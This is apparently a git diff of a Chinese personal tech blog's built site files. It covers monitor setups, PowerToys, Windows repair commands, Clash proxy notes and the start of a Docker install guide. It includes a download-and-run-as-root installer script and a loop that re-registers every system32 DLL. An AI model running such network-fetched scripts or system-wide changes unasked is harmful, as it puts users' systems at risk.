+ - "download2.epicgames.com"
+ - "download3.epicgames.com"
+ - "download4.epicgames.com"
+# Rockstar Launcher客户端更新/游戏更新/游戏下载
+ - "gamedownloads-rockstargames-com.akamaized.net"
+# GOG中国大陆游戏下载/客户端更新
+ - "gog.qtlglb.com"
+# GOG非中国大陆游戏下载/客户端更新
+ - "cdn.gog.com"
+ - "galaxy-client-update.gog.com"
+
写这份随笔的时候已经入手 小米 34英寸 WQHD
这款带鱼屏一个月有余了, 实际体验下来确实比之前双屏三屏副屏的时候体验要好不少, 至少脖子没有那么不舒服了
最开始有副屏需求是为了能够边写代码边看文档, 但是笔记本 15.6 英寸的屏幕同时代码和文档两个窗口的话太挤, 要么代码看不全要么文档看不全, 最初尝鲜副屏没有太多预算, 于是花 236 在咸鱼淘了个 13.5 英寸 1080P 的 DIY 副屏
从无到有的体验还是比较奇妙的, 总的来说写代码的体验有了质的提升, 至少不用来回切屏了, 不过 DIY副屏驱动板拖着一根排线接着屏幕, 支架也是个 DIY 的塑料支架, 直到有一次在图书馆折了支架又裂了排线后有了换屏幕的想法, 再加上 13.6 英寸的屏幕感觉还是有些小, 于是又入了一个 23.8 英寸的 熊猫 PH24QA2
感觉屏幕素质还好, 不过这款显示器就无法竖起来放置了, 基本上都是斜着放置在左侧, 比起上一个可以竖起来放置的 13.6 英寸的 DIY 屏幕, 这款显示器的优势在于屏幕更大了, 可以放下更多的内容, 不过纵向长度感觉变短了
用过一段时间的左边是 23.8 英寸的显示器, 中间放个 15.6 英寸的笔记本, 右边竖起来放置一个 13.6 英寸 DIY 屏幕, 不过后面由于宿舍桌子长度有限且二人共用因此撤掉了右侧的 DIY 屏幕送给室友用了
用了一段时间后愈发觉得这个显示器别扭, 放文档的话为了减少脖子扭动的幅度一般会放在靠近笔记本屏幕的一侧贴半边, 不过这也就导致了显示器的左半侧使用是一个比较尴尬的地方, 我需要扭动脖子将近 60° 去看左半边的屏幕, 这对脖子太不友好了, 而且两个屏幕之前的大块空隙完全是视野无效区域, 就算是在显示器右半边看文档, 时间长了脖子还是会有些酸痛, 于是就有了入个大点的屏幕的想法, 于是在今年 2 月入了小米的这款 34 英寸的带鱼屏
宿舍桌面空间有限, 就把笔记本放在了桌面上层的书架格子上背过放置, 这样比较方便走线
左侧那个显示器拍摄当时是想出掉所以拿出来放在侧边准备截下参数和色域检测以及坏点检测之类的图的, 并不是与带鱼屏一起使用(而且也不想再大浮动扭脖子看另一个屏幕了
一个月的使用体验上来看, 带鱼屏对于我个人码代码方面还是比较友好的, 属于是折腾这么长时间以来使用体验最舒服的一次折腾 (当然也是最贵的一次(ಥ_ಥ)
windows 自带的分屏可以覆盖大多数应用场景
需要长时间使用单个窗口时一般将窗口防止屏幕中央占大块区域
比如 Typora 专注写一份文档
放在中间正对面部基本就不需要扭脖子了
写前端项目时我一般会打开 4 个窗口, 文档, 笔记, 调试页面, 编码页面
最开始用的是上图中的中间大块区域码代码两边一侧文档一侧笔记的分屏方式, 但是总感觉哪里不太对, 除了需要单独切出来调试界面外后来换用了另一种分屏方式后发现文档那屏宽度不太够, 有的博主的文章样式比较怪, 横向全显示不支持滚动, 有的则是代码看不全;
后来在实践中找到了合适的窗口排布方案, 不过由于不是 win11 原生支持的贴边所以为了不频繁切换窗口就新建了一个虚拟桌面专门用来放置写前端项目的这四个窗口
除了四格外还放了 picgo 的上传图片界面以及 ShareX 的截图文件夹, 用来给笔记贴 gif 图
前端项目的四格单放一个桌面后原本的主桌面主要用于放置其他日常窗口以及 Typora 正在书写的笔记对应的 VSCode 窗口
毕竟 Typora 没有 Wakatime 插件, 而 VSCode 有 wakatime 扩展, 不在 VSCode 中打开相应文件的话就会丢失这部分的时间记录
此外, 让我比较愉悦的一点在于, 这块屏幕终于能让我完整地看完 wakatime 的页面了(
目前写前端项目的桌面状态差不多就是这样
pad 主要用于看视频教程, 不看视频教程时一般就是用来放音乐(
控制面板 -> 硬件和声音 -> 电源选项 -> 选择关闭笔记本计算机盖的功能 -> 关闭盖子时不采取任何操作
Releases
找最新的一次发行,下载第一个压缩文件,解压即可使用Win+R
输入cmd并回车进入命令行界面输入netstat -ano|findstr "443"
并回车
tasklist |findstr "16280"
我这里已经成功运行了,所以这里是steam工具箱占用了443端口
vmware-hosted.exe
占用443端口那么打开VMWare使用快捷键打开 FancyZiones 编辑器:
自定义完布局后按住 Shift 并拖动窗口就可以像使用原生贴边一样进行窗口排版了(如果设置了布局快捷键的话此时可以按下布局快捷键数字来显示自定义的不同布局进行贴靠)
窗口之间不想留太多距离的话可以在自定义布局时将区域周围的空间设置为0
始终此功能可以将一些不支持置项的窗口进行置项(比如原生的便筏)
enmmm, 本身 explorer 就比较卡, 平时能不打开Explorer就不打开Explorer, 因此对这项功能无感
最有用的地方在于可以双击ctrl来找鼠标指针, 会有一个聚焦效果, 不用再乱晃鼠标找指针了
荧光笔功能比较无感, 鼠标按住移动的时候周围会有一圈高亮(类似上面的聚焦圈圈换个亮黄色), 但是不显示轨迹, 就是单纯的一个跟着指针的圈
管理员权限打开 powershell 后输入
sfc /SCANNOW
+
sfc/scannow
是 sfc(系统文件检查器)的一条运行命令,运行该命令时可以扫描所有受保护的系统文件的完整性,并自动修复出现问题的系统文件。
扫描过程会比较长
SFC
sfc /scannow
:扫描所有受保护系统文件的完整性,并尽可能修复有问题的文件sfc /verifyonly
:扫描所有受保护系统文件的完整性,不会执行修复操作sfc /scanfile
:扫描引用的文件的完整性,如果找到问题,则修复文件(需指定完整路径)sfc /verifyfile
:验证带有完整路径的文件的完整性,但不会执行修复操作sfc /offbootdir
:对于脱机修复,指定脱机启动目录的位置sfc /offwindir
:对于脱机修复,指定脱机Windows目录的位置sfc /logfile
:对于脱机修复,通过指定日志文件路径选择性地启用记录
扫描完成, 未发现异常, 那可能是我注册表出了问题
以管理员权限打开CMD
, 执行以下命令把 %systemroot%\\system32
下所有的 dll 文件重新注册一遍
for %1 in (%windir%\\system32\\*.dll) do regsvr32.exe /s %1
+
重启 QQ 后, 可以正常调起 Explorer 了
可能是之前用 CCleaner 清注册表的时候误删了
`,9);function ns(as,ss){const a=i("ExternalLinkIcon");return o(),r("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[n("黑客说 - 技术驱动优质交流 (hackertalk.net)"),s(a)])])]),u,h,m,g,e("blockquote",null,[e("p",null,[e("a",b,[n("公共DNS推荐及dns测速 - fogwu - 博客园 (cnblogs.com)"),s(a)])])]),_,e("blockquote",null,[e("p",null,[e("a",v,[n("从计算机专业学生到程序员大佬,都一定受用的计算机行业高含金量证书盘点!_哔哩哔哩_bilibili"),s(a)])]),f,k]),E,y,e("blockquote",null,[e("p",null,[e("a",x,[n("中国计算机技术职业资格网"),s(a)])])]),w,A,B,D,q,e("blockquote",null,[e("p",null,[e("a",C,[n("PAT 计算机程序设计能力测试 (patest.cn)"),s(a)])])]),P,S,N,e("blockquote",null,[e("p",null,[e("a",W,[n("首页-项目管理职业资格认证 (chinapmp.cn)"),s(a)])])]),M,e("blockquote",null,[e("p",null,[e("a",T,[n("华为认证 (huawei.com)"),s(a)])])]),F,e("blockquote",null,[e("p",null,[e("a",U,[n("关于IDM调用火绒的设置 - 火绒安全软件 - 火绒安全软件 (huorong.cn)"),s(a)])])]),I,e("blockquote",null,[e("p",null,[e("a",z,[n("解决新版 Edge 浏览器无法使用 IDM 的问题_Xavier Jiezou的博客-CSDN博客_edge idm"),s(a)])])]),O,e("ul",null,[e("li",null,[e("a",G,[n("参考链接"),s(a)])]),V,L]),H,e("ul",null,[e("li",null,[n("或者使用"),e("a",R,[n("这个插件"),s(a)])])]),X,e("ul",null,[e("li",null,[n("多次同步,挂起,取消链接账户可能会导致 Explorer 左栏快捷访问中存在多个指向相同的 OneDrive 快捷访问"),j,e("a",Y,[n("删除OneDrive for Bussiness导航栏快捷方式_根号负一的博客-CSDN博客"),s(a)])])]),Q,J,e("ul",null,[e("li",null,[e("p",null,[e("a",K,[n("参考链接"),s(a)])]),Z]),$,ee]),ne,ae,e("ul",null,[e("li",null,[n("进入"),e("a",se,[n("微软开发者中心"),s(a)]),n("并进入Office子项"),te,le]),ie,e("li",null,[n("进入"),e("a",oe,[n("活跃用户界面"),s(a)]),re]),ce]),de,pe,ue,he,me,e("ul",null,[e("li",null,[e("a",ge,[n("参考视频"),s(a)])])]),be,e("ul",null,[_e,e("li",null,[e("p",null,[n("下载"),e("a",ve,[n("RaiDrive"),s(a)]),n("并安装到自定义位置后打开软件,可以自行更新到最新版本(本就是官网有提供的free版)"),fe,ke])])]),e("blockquote",null,[e("p",null,[n("如果安装的时候出现问题可以选择忽略,这样依然装好了,运行桌面上的快捷方式,在设置里面检查更新到最新版本安装的时候基本不会报错 也可以直接在"),e("a",Ee,[n("官网"),s(a)]),n("下载(可能需要一些魔法)")])]),ye,xe,we,Ae,e("blockquote",null,[e("ul",null,[e("li",null,[n("最初找这个只是为了能让"),e("a",Be,[n("PotPlayer"),s(a)]),n("能更方便地访问云盘中的视频资源从而在本地倍速播放云端的视频; "),De])])]),qe,Ce,Pe,e("blockquote",null,[e("p",null,[n("后记: 建议放弃在非apple设备上使用iCloud"),Se,n(" 有一说一,真的烂("),Ne,e("a",We,[n("删除win10 删除icloud后资源管理器icloud图标无法删除? - 知乎 (zhihu.com)"),s(a)])])]),Me,Te,e("blockquote",null,[e("p",null,[e("a",Fe,[n("快速开始 - Cloudreve"),s(a)])])]),Ue,e("blockquote",null,[e("p",null,[n("Docker 搭建可以参考: "),e("a",Ie,[n("nextcloud/all-in-one: Nextcloud AIO stands for Nextcloud All-in-One and provides easy deployment and maintenance with most features included in this one Nextcloud instance. --- nextcloud/all-in-one:Nextcloud AIO 代表 Nextcloud All-in-One,通过该 Nextcloud 实例中包含的大多数功能提供轻松的部署和维护。 (github.com)"),s(a)])])]),ze,e("blockquote",null,[e("p",null,[e("a",Oe,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),s(a)])])]),Ge,Ve,Le,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",He,[n("Windows 10 Core Isolation: Remove incompatible drivers - Administrator"),s(a)]),Re,e("a",Xe,[n("Core Isolation - Memory Integrity Not Turning On - Driver - Microsoft Community"),s(a)]),je,e("a",Ye,[n("PnPUtil 命令语法 - Windows drivers | Microsoft Docs"),s(a)]),Qe,e("a",Je,[n("PnPUtil 示例 - Windows drivers | Microsoft Docs"),s(a)])])]),Ke,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",Ze,[n("如何在卸载游戏后完全删除TP? - (qq.com)"),s(a)])])]),$e,e("blockquote",null,[e("p",null,[e("a",en,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),s(a)]),nn,n(" 查阅资料中发现这个功能可能会导致虚拟机运行异常, 不过遇见这种问题时再把功能关掉就是了(")])]),an,sn,tn,ln,on,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",rn,[n("WSL 2 自定义安装目录和网络配置_daihaoxin的专栏-CSDN博客_wsl2目录"),s(a)])])]),cn,e("blockquote",null,[e("p",null,[e("a",dn,[n("如何对某一程序取消用户账户控制_百度知道 (baidu.com)"),s(a)])])]),pn,e("blockquote",null,[e("p",null,[e("a",un,[n("你需要来自 S-1-5-21-XXXX-XXX-XXX - Microsoft Community"),s(a)])]),e("p",null,[e("a",hn,[n("Win10无法删除文件提示“你需要来自system的权限”的解决方案-系统城·电脑系统下载之家 (xitongcheng.com)"),s(a)])])]),mn,gn,bn,_n,vn,e("p",null,[e("a",fn,[n("白描"),s(a)])]),kn,En,yn,e("p",null,[e("a",xn,[n("沙拉查词"),s(a)])]),e("ul",null,[e("li",null,[e("a",wn,[n("使用文档"),s(a)])]),e("li",null,[e("a",An,[n("初次使用注意事项"),s(a)])]),e("li",null,[e("a",Bn,[n("配合Anki使用"),s(a)])]),Dn]),qn,Cn,e("blockquote",null,[e("p",null,[e("a",Pn,[n("Github/Dreamacro/clash"),s(a)]),Sn,e("a",Nn,[n("Github/Dreamacro/clash-dashboard"),s(a)]),e("a",Wn,[n("alvinkwok/clashForLinux安装配置"),s(a)])]),Mn,e("p",null,[e("a",Tn,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),s(a)])]),e("p",null,[e("a",Fn,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),s(a)])]),e("p",null,[e("a",Un,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),s(a)])]),In]),e("blockquote",null,[e("p",null,[e("a",zn,[n("Clash for windows RCE 漏洞 - FreeBuf网络安全行业门户"),s(a)])])]),On,e("p",null,[n("在 "),e("a",Gn,[n("Releases · Dreamacro/clash (github.com)"),s(a)]),n(" 下载对应的安装包, 这里我选择的是 "),e("a",Vn,[n("clash-linux-amd64-v1.13.0.gz"),s(a)])]),Ln,e("blockquote",null,[e("p",null,[e("a",Hn,[n("bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHub"),s(a)])])]),Rn,Xn,jn,Yn,Qn,e("blockquote",null,[e("p",null,[e("a",Jn,[n("TUN 模式 | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",Kn,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),s(a)])]),e("p",null,[e("a",Zn,[n("Clash for Windows 优雅地使用 TUN 模式接管系统流量 · Dejavu's Blog"),s(a)])])]),$n,e("ul",null,[ea,e("li",null,[na,e("ul",null,[aa,sa,ta,e("li",null,[n("Windows 中的 UWP 应用是无法走这个代理的,因为 UWP 应用网络隔离的‘沙箱’特性,因此我们还需要使用 "),la,n(" 中的轻量 "),ia,n(" 来解锁 UWP 应用的网络隔离,后续新安装的 UWP 应用也要按照上面步骤进行添加,否则 UWP 应用就会无法联网;此外,像 Git、npm、yarn 这些是无法走系统代理的,需要 "),e("a",oa,[n("手动设置代理"),s(a)]),n(",而且一些不支持设置代理但又无法在天朝直连国际互联网的软件/应用 Fuxk GFW 也是个难题,而绝佳的 CFW(Clash For Windows) 提供了 TUN/TAP 模式就很好的解决了这个问题")]),ra])]),e("li",null,[ca,e("ul",null,[e("li",null,[e("p",null,[n("点击"),da,n("中"),pa,n("右边"),ua,n(",在打开窗口中安装服务模式,安装完成应用会自动重启,Service Mode 右边地球图标变为"),ha,n("即安装成功(无法安装参考:"),e("a",ma,[n("这里"),s(a)]),n(")")]),e("blockquote",null,[e("p",null,[e("a",ga,[n("Service Mode 作用是啥?为什么要开启这个模式 · Issue #2839 · Fndroid/clash_for_windows_pkg (github.com)"),s(a)])])]),ba,_a]),va])])]),fa,ka,e("blockquote",null,[e("p",null,[e("a",Ea,[n("Mixin | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",ya,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),s(a)])])]),xa,e("blockquote",null,[e("p",null,[e("a",wa,[n("绕过系统代理 | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",Aa,[n("0.16.2 版,Steam 商店、社区无法加载 · Issue #2035 · Fndroid/clash_for_windows_pkg (github.com)"),s(a)])]),e("p",null,[e("a",Ba,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),s(a)])])]),Da,e("ul",null,[e("li",null,[e("a",qa,[n("steam工具箱@rmbadmin"),s(a)])]),Ca]),Pa,Sa,Na,e("p",null,[e("a",Wa,[n("如何在 Windows 上為 BlueStacks 5 開啟 Hyper-V"),s(a)])]),Ma,Ta,e("blockquote",null,[e("p",null,[e("a",Fa,[n("如何從您的電腦上完全移除BlueStacks 5"),s(a)]),Ua,e("a",Ia,[n("Bluestacks 5 Cannot Start BlueStacks on Win11 (any 64Bit instance version)"),s(a)])])]),za,e("blockquote",null,[e("p",null,[e("a",Oa,[n("在打印文本的正文字体中,宋体(中易)和微软雅黑孰优孰劣? - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",Ga,[n("Windows自带的宋体、黑体、楷体、仿宋体等能免费商用吗? - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",Va,[n("对不起,微软雅黑不是免费字体 - 知乎 (zhihu.com)"),s(a)])])]),La,Ha,Ra,Xa,e("p",null,[n("可以用 "),e("a",ja,[n("WakaTime"),s(a)]),n(" 做代码时间监控")]),Ya,e("p",null,[n("对于窗口活动监控可以使用 "),e("a",Qa,[n("ActivityWatch/activitywatch: The best free and open-source automated time tracker. Cross-platform, extensible, privacy-focused. (github.com)"),s(a)])]),Ja,e("blockquote",null,[e("p",null,[e("a",Ka,[n("ntdll.dll故障_a874045的博客-CSDN博客_ntdll.dll错误"),s(a)]),Za,e("a",$a,[n("如何在Windows 10使用sfc /scannow命令? - 都叫兽软件 | 都叫兽软件 (reneelab.com.cn)"),s(a)])])]),es])}const is=l(c,[["render",ns],["__file","DailyLife.html.vue"]]);export{is as default}; diff --git a/assets/DailyLife.html-6f957971.js b/assets/DailyLife.html-6f957971.js new file mode 100644 index 0000000000..76950bde25 --- /dev/null +++ b/assets/DailyLife.html-6f957971.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1d0afa17","path":"/DailyLife/DailyLife.html","title":"日常","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Programming","slug":"programming","link":"#programming","children":[{"level":3,"title":"行尾序列","slug":"行尾序列","link":"#行尾序列","children":[]},{"level":3,"title":"交流社区","slug":"交流社区","link":"#交流社区","children":[]}]},{"level":2,"title":"路由器","slug":"路由器","link":"#路由器","children":[]},{"level":2,"title":"小米","slug":"小米","link":"#小米","children":[{"level":3,"title":"小爱音箱Pro连不上电脑","slug":"小爱音箱pro连不上电脑","link":"#小爱音箱pro连不上电脑","children":[]}]},{"level":2,"title":"证书","slug":"证书","link":"#证书","children":[{"level":3,"title":"软考证书","slug":"软考证书","link":"#软考证书","children":[]},{"level":3,"title":"计算机程序设计能力考试(PAT)","slug":"计算机程序设计能力考试-pat","link":"#计算机程序设计能力考试-pat","children":[]},{"level":3,"title":"项目管理职业资格认证(PMI)","slug":"项目管理职业资格认证-pmi","link":"#项目管理职业资格认证-pmi","children":[]},{"level":3,"title":"华为认证","slug":"华为认证","link":"#华为认证","children":[]}]},{"level":2,"title":"下载","slug":"下载","link":"#下载","children":[{"level":3,"title":"FDM","slug":"fdm","link":"#fdm","children":[]},{"level":3,"title":"IDM","slug":"idm","link":"#idm","children":[]},{"level":3,"title":"aria2","slug":"aria2","link":"#aria2","children":[]},{"level":3,"title":"超星相关","slug":"超星相关","link":"#超星相关","children":[]}]},{"level":2,"title":"搜题目解析","slug":"搜题目解析","link":"#搜题目解析","children":[]},{"level":2,"title":"云盘","slug":"云盘","link":"#云盘","children":[{"level":3,"title":"OneDrive","slug":"onedrive","link":"#onedrive","children":[]},{"level":3,"title":"E5","slug":"e5","link":"#e5","children":[]},{"level":3,"title":"将云盘挂载到本地(RaiDrive)","slug":"将云盘挂载到本地-raidrive","link":"#将云盘挂载到本地-raidrive","children":[]},{"level":3,"title":"微软商店中的iCloud","slug":"微软商店中的icloud","link":"#微软商店中的icloud","children":[]},{"level":3,"title":"Cloudreve","slug":"cloudreve","link":"#cloudreve","children":[]},{"level":3,"title":"Nextcloud","slug":"nextcloud","link":"#nextcloud","children":[]}]},{"level":2,"title":"Microsoft","slug":"microsoft","link":"#microsoft","children":[{"level":3,"title":"Edge","slug":"edge","link":"#edge","children":[]},{"level":3,"title":"Windows","slug":"windows","link":"#windows","children":[]}]},{"level":2,"title":"你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改","slug":"你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","link":"#你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","children":[]},{"level":2,"title":"图片OCR->表格","slug":"图片ocr-表格","link":"#图片ocr-表格","children":[]},{"level":2,"title":"英语学习","slug":"英语学习","link":"#英语学习","children":[]},{"level":2,"title":"clash","slug":"clash","link":"#clash","children":[{"level":3,"title":"pip 报错 ValueError: check_hostname requires server_hostname","slug":"pip-报错-valueerror-check-hostname-requires-server-hostname","link":"#pip-报错-valueerror-check-hostname-requires-server-hostname","children":[]},{"level":3,"title":"TUN Mode","slug":"tun-mode","link":"#tun-mode","children":[]},{"level":3,"title":"Mixin","slug":"mixin","link":"#mixin","children":[]},{"level":3,"title":"Bypass","slug":"bypass","link":"#bypass","children":[]}]},{"level":2,"title":"桌面显示器屏幕使用体验","slug":"桌面显示器屏幕使用体验","link":"#桌面显示器屏幕使用体验","children":[{"level":3,"title":"Win11 设置合盖不休眠","slug":"win11-设置合盖不休眠","link":"#win11-设置合盖不休眠","children":[]}]},{"level":2,"title":"Game","slug":"game","link":"#game","children":[{"level":3,"title":"Steam","slug":"steam","link":"#steam","children":[]},{"level":3,"title":"手游模拟器","slug":"手游模拟器","link":"#手游模拟器","children":[]}]},{"level":2,"title":"PowerToys","slug":"powertoys","link":"#powertoys","children":[{"level":3,"title":"自定义窗口布局","slug":"自定义窗口布局","link":"#自定义窗口布局","children":[]},{"level":3,"title":"调整图像大小","slug":"调整图像大小","link":"#调整图像大小","children":[]},{"level":3,"title":"始终置项","slug":"始终置项","link":"#始终置项","children":[]},{"level":3,"title":"文件资源管理器加载项","slug":"文件资源管理器加载项","link":"#文件资源管理器加载项","children":[]},{"level":3,"title":"鼠标实用工具","slug":"鼠标实用工具","link":"#鼠标实用工具","children":[]}]},{"level":2,"title":"字体","slug":"字体","link":"#字体","children":[{"level":3,"title":"中易宋体和微软雅黑","slug":"中易宋体和微软雅黑","link":"#中易宋体和微软雅黑","children":[]}]},{"level":2,"title":"活动监控","slug":"活动监控","link":"#活动监控","children":[]},{"level":2,"title":"零散报错","slug":"零散报错","link":"#零散报错","children":[{"level":3,"title":"Win11 下 QQ 调起文件资源管理器 C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll 报错","slug":"win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","link":"#win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","children":[]}]}],"git":{"createdTime":1667840801000,"updatedTime":1697813995000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":6},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":2},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233PC","email":"ayusummer233@gmail.com","commits":1},{"name":"233PC","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":34.79,"words":10437},"filePathRelative":"DailyLife/DailyLife.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/Docker.html-1210c343.js b/assets/Docker.html-1210c343.js new file mode 100644 index 0000000000..93bf21ca7c --- /dev/null +++ b/assets/Docker.html-1210c343.js @@ -0,0 +1,119 @@ +import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as p,c as u,d as a,w as o,b as e,e as n,f as t}from"./app-893ba623.js";const m={},h=e("h1",{id:"docker",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#docker","aria-hidden":"true"},"#"),n(" Docker")],-1),k=e("h2",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),b={href:"https://cloud.tencent.com/developer/article/1854430",target:"_blank",rel:"noopener noreferrer"},v={href:"https://kalacloud.com/blog/how-to-install-and-use-docker-on-ubuntu/",target:"_blank",rel:"noopener noreferrer"},g=e("hr",null,null,-1),f=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(` +`),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 安装所需工具包"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(" apt-transport-https ca-certificates "),e("span",{class:"token function"},"curl"),n(` gnupg-agent software-properties-common +`),e("span",{class:"token comment"},"# 然后将官方 Docker 版本库的 GPG 密钥添加到系统中:"),n(` +`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/ubuntu/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` - +`),e("span",{class:"token comment"},"# 将 Docker 版本库添加到APT源:"),n(` +`),e("span",{class:"token function"},"sudo"),n(" add-apt-repository "),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"'),n(` +`),e("span",{class:"token comment"},"# 用新添加的 Docker 软件包来进行升级更新。"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:"),n(` +`),e("span",{class:"token function"},"apt-cache"),n(` policy docker-ce +`),e("span",{class:"token comment"},"# 安装 Docker :"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce +`),e("span",{class:"token comment"},"# 现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:"),n(` +`),e("span",{class:"token function"},"sudo"),n(" systemctl status "),e("span",{class:"token function"},"docker"),n(` +`),e("span",{class:"token comment"},"# 设置 docker 开机自动启动"),n(` +`),e("span",{class:"token function"},"sudo"),n(" systemctl "),e("span",{class:"token builtin class-name"},"enable"),n(` docker.service +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),_={href:"https://ywnz.com/linuxjc/6543.html",target:"_blank",rel:"noopener noreferrer"},x=e("hr",null,null,-1),y=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 安装所需工具包"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token parameter variable"},"-y"),n(),e("span",{class:"token function"},"install"),n(),e("span",{class:"token function"},"curl"),n(` gnupg2 apt-transport-https software-properties-common ca-certificates +`),e("span",{class:"token comment"},"# 导入用于签署Docker软件包的Docker GPG密钥:"),n(` +`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/debian/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` - +`),e("span",{class:"token comment"},"# 添加包含Docker CE最新稳定版本的Docker存储库:"),n(` +`),e("span",{class:"token builtin class-name"},"echo"),n(),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/debian buster stable"'),n(),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"tee"),n(` /etc/apt/sources.list.d/docker.list +`),e("span",{class:"token comment"},"# 更新apt包索引"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 在Kali Linux上安装Docker CE"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce docker-ce-cli containerd.io +`),e("span",{class:"token comment"},"# 检查安装的Docker版本"),n(` +`),e("span",{class:"token function"},"docker"),n(` version +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),D={href:"https://blog.csdn.net/weixin_39786155/article/details/110363154",target:"_blank",rel:"noopener noreferrer"},q=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://get.docker.com "),e("span",{class:"token parameter variable"},"-o"),n(` get-docker.sh +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"sh"),n(` get-docker.sh +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"service"),n(),e("span",{class:"token function"},"docker"),n(` start +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),w=e("blockquote",null,[e("p",null,"wsl2-kali 是不支持以此种方式安装的, 可以在 Windows 上装 Docker Desktop 并启用 WSL2 